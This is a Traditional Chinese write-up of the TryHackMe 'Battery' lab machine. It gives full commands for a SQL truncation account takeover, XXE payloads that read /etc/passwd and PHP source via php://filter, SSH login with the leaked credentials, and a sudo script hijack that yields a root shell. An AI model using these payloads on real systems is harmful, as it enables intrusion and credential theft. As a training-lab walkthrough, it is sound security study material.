TryHackMe Battery writeup (zh-TW)
題目資訊
- 平台: TryHackMe
- 房間名稱: Battery
- 難度: Medium
- 目標: 獲取 Base Flag、User Flag、Root Flag
- 主題: 銀行管理系統滲透測試
- 連結: https://tryhackme.com/room/battery
- 備註: 這一個機器,作者在經驗分享補充了很多相關資訊,可以搭配參考喔!
偵察階段
Nmap 掃描
nmap -sV -sC -p 22,80 10.201.51.19 -Pn
掃描結果:
- Port 22: OpenSSH 6.6.1p1 Ubuntu
- Port 80: Apache httpd 2.4.7
目錄枚舉
gobuster dir -u http://10.201.51.19/ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20
發現的路徑:
/admin.php- 登入頁面/register.php- 註冊頁面/report- 可執行文件(16912 bytes)/scripts/- JavaScript 腳本目錄/forms.php- 需要管理員權限的頁面
Step 1: 分析 Report 程序
下載並反編譯
# 下載程序
wget http://10.201.51.19/report
# 用 Ghidra 反編譯或使用 strings
strings report | grep -iE "admin|user|@"
關鍵發現:
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
guest # 唯一可用的登入帳號
程序功能:
- 登入:
guest/guest - 選項4可以更新密碼(但僅驗證 email 為
[email protected])
Step 2: SQL Truncation Attack
發現漏洞
檢查註冊表單:
curl http://10.201.51.19/register.php
關鍵發現:
<input type="text" name="uname" placeholder="Username" maxlength="12">
- 前端限制 username 只能12字符
[email protected]正好12字符- 但後端可能有更長的欄位限制
繞過前端限制
# 註冊時使用:[email protected] + 空格 + 任意字符
curl -X POST http://10.201.51.19/register.php \
-d "[email protected] x&bank=ABC&password=test123&btn=Register me!" \
-L
攻擊原理:
- MySQL 截斷超過欄位長度的字符
- Trailing spaces 會被自動移除
- 結果:成功覆蓋原本的
[email protected]帳號密碼!
成功訊息:
<script>alert('Registered successfully!')</script>
登入 Admin
# 使用新密碼登入
curl -c admin_cookies.txt -X POST http://10.201.51.19/admin.php \
-d "[email protected]&password=test123&btn=Submit" \
-L
Step 3: XXE 漏洞利用
發現 XXE 端點
訪問 forms.php,發現 JavaScript 代碼:
function XMLFunction(){
var xml = '' +
'<?xml version="1.0" encoding="UTF-8"?>' +
'<root>' +
'<name>' + $('#name').val() + '</name>' +
'<search>' + $('#search').val() + '</search>' +
'</root>';
xmlhttp.open("POST","forms.php",true);
xmlhttp.send(xml);
};
測試 XXE Payload
# 讀取 /etc/passwd
curl -b admin_cookies.txt -X POST http://10.201.51.19/forms.php \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
<name>1</name>
<search>&xxe;</search>
</root>'
成功輸出:
Sorry, account number root:x:0:0:root:/root:/bin/bash
[...]
cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash
yash:x:1002:1002:,,,:/home/yash:/bin/bash
is not active!
使用 PHP Wrapper 讀取源碼
# 讀取 acc.php 源碼(base64編碼)
curl -b admin_cookies.txt -X POST http://10.201.51.19/forms.php \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/acc.php">]>
<root>
<name>1</name>
<search>&xxe;</search>
</root>'
在返回的 HTML 中找到註釋:
//MY CREDS :- cyber:super#secure&password!
Step 4: SSH 登入與 User Flag
SSH 連接
ssh [email protected]
# 密碼: super#secure&password!
獲得 Flag1
cyber@ubuntu:~$ ls
flag1.txt run.py
cyber@ubuntu:~$ cat flag1.txt
THM{Redacted}
Step 5: 權限提升到 Root
檢查 Sudo 權限
cyber@ubuntu:~$ sudo -l
User cyber may run the following commands on ubuntu:
(root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py
檢查文件權限
cyber@ubuntu:~$ ls -la run.py
-rwx------ 1 root root 349 Nov 15 2020 run.py
cyber@ubuntu:~$ ls -ld /home/cyber
drwx------ 3 cyber cyber 4096 Nov 17 2020 /home/cyber
關鍵發現:
run.py屬於 root,無法編輯- 但對
/home/cyber目錄有完全權限!
劫持 run.py
# 1. 刪除 root 的 run.py
rm run.py
# 2. 創建惡意 run.py
cat > run.py << 'EOF'
import os
os.system('/bin/bash')
EOF
# 3. 用 sudo 執行,獲得 root shell
sudo /usr/bin/python3 /home/cyber/run.py
獲得所有 Flags
root@ubuntu:~# cat /root/root.txt
THM{Redacted}
root@ubuntu:~# cat /home/yash/flag2.txt
THM{Redacted}
技術要點總結
1. SQL Truncation Attack
- 原理:利用數據庫欄位長度限制和字符截斷特性
- 條件:
- 前端有 maxlength 限制(可繞過)
- 後端欄位長度有限制
- MySQL 會自動移除 trailing spaces
- 利用方法:註冊
[email protected]___x(下劃線代表空格)
2. XXE (XML External Entity) 漏洞
- 識別特徵:應用程序接受並解析 XML 輸入
進階技巧:使用 PHP wrapper 讀取源碼
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/path/to/file">
基本 Payload:
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
經驗分享
- 前端限制不可信:maxlength 可以用 curl 或 Burp Suite 繞過
- 數據庫特性很重要:了解 MySQL 的字符截斷行為
關於Step 1: 分析 Report 程序
這一步花了很多時間,因為還分析了一下這個程式到底有什麼用,也嘗試用ghidra反編譯看看有沒有hard coding的管理員密碼,或是任何可以造成程式崩潰的方法,但都沒有成功,所以才趕快又轉回來web端看有沒有漏洞。
關於Step 2: SQL Truncation Attack
憑良心說,這一步作者完全沒有聽過,也沒有想到,在針對管理員登入這塊,有嘗試sqlmap爆破看有沒有sql注入、用hydra直接爆破管理員的密碼,但都失敗,印象中有做過類似的練習,可以在申請帳號的時候蓋掉前面的資訊,但那時候沒有深入發現相關攻擊行為是sql truncation attack,另外這一步有卡住,所以有參考相關writeup~

關於Step 3: XXE 漏洞利用
這一步知道是XXE攻擊,其實不必使用admin帳號就可以知道,用burp suite,使用自己的帳號密碼test/test登入,就可以抓到forms.php的reponse,但可惜的是,確實還是需要管理員登入之後才能觸發XXE攻擊,不然會直接先被擋在門外,兩者給的response差異如下。
<script>alert('Only Admins can access this page!')</script>
跟
Sorry, account number [/etc/passwd內容] is not active!關於Step 5: 權限提升到 Root
回頭來看,因為作者是先拿到root flag再拿user flag,所以如果進到yash的使用者目錄,會發現有提示root.txt,以及fernet,兩個檔案,前者會透漏我們用到的提權方法,後者則會給出yash的密碼,相關解碼方法參考如下
from cryptography.fernet import Fernet
key = b"7OEIooZqOpT7vOh9ax8arbBeB8e243Pr8K4IVWBStgA="
encrypted = b"gAAAAABfs33Qms9CotZIEBMg76eOlwOiKU8LD_mX2F346WXXBVIlXWvWGfreAX4kU5hjGXf0PiwtP0cmOm5JSUI7zl03V1JKlA=="
cipher = Fernet(key)
password = cipher.decrypt(encrypted)
print(password.decode()) # yash的密碼不過算是同場加映,因為我們已經拿到root flag了,就沒再去回推說怎麼從cyber跳yash再跳root。
Member discussion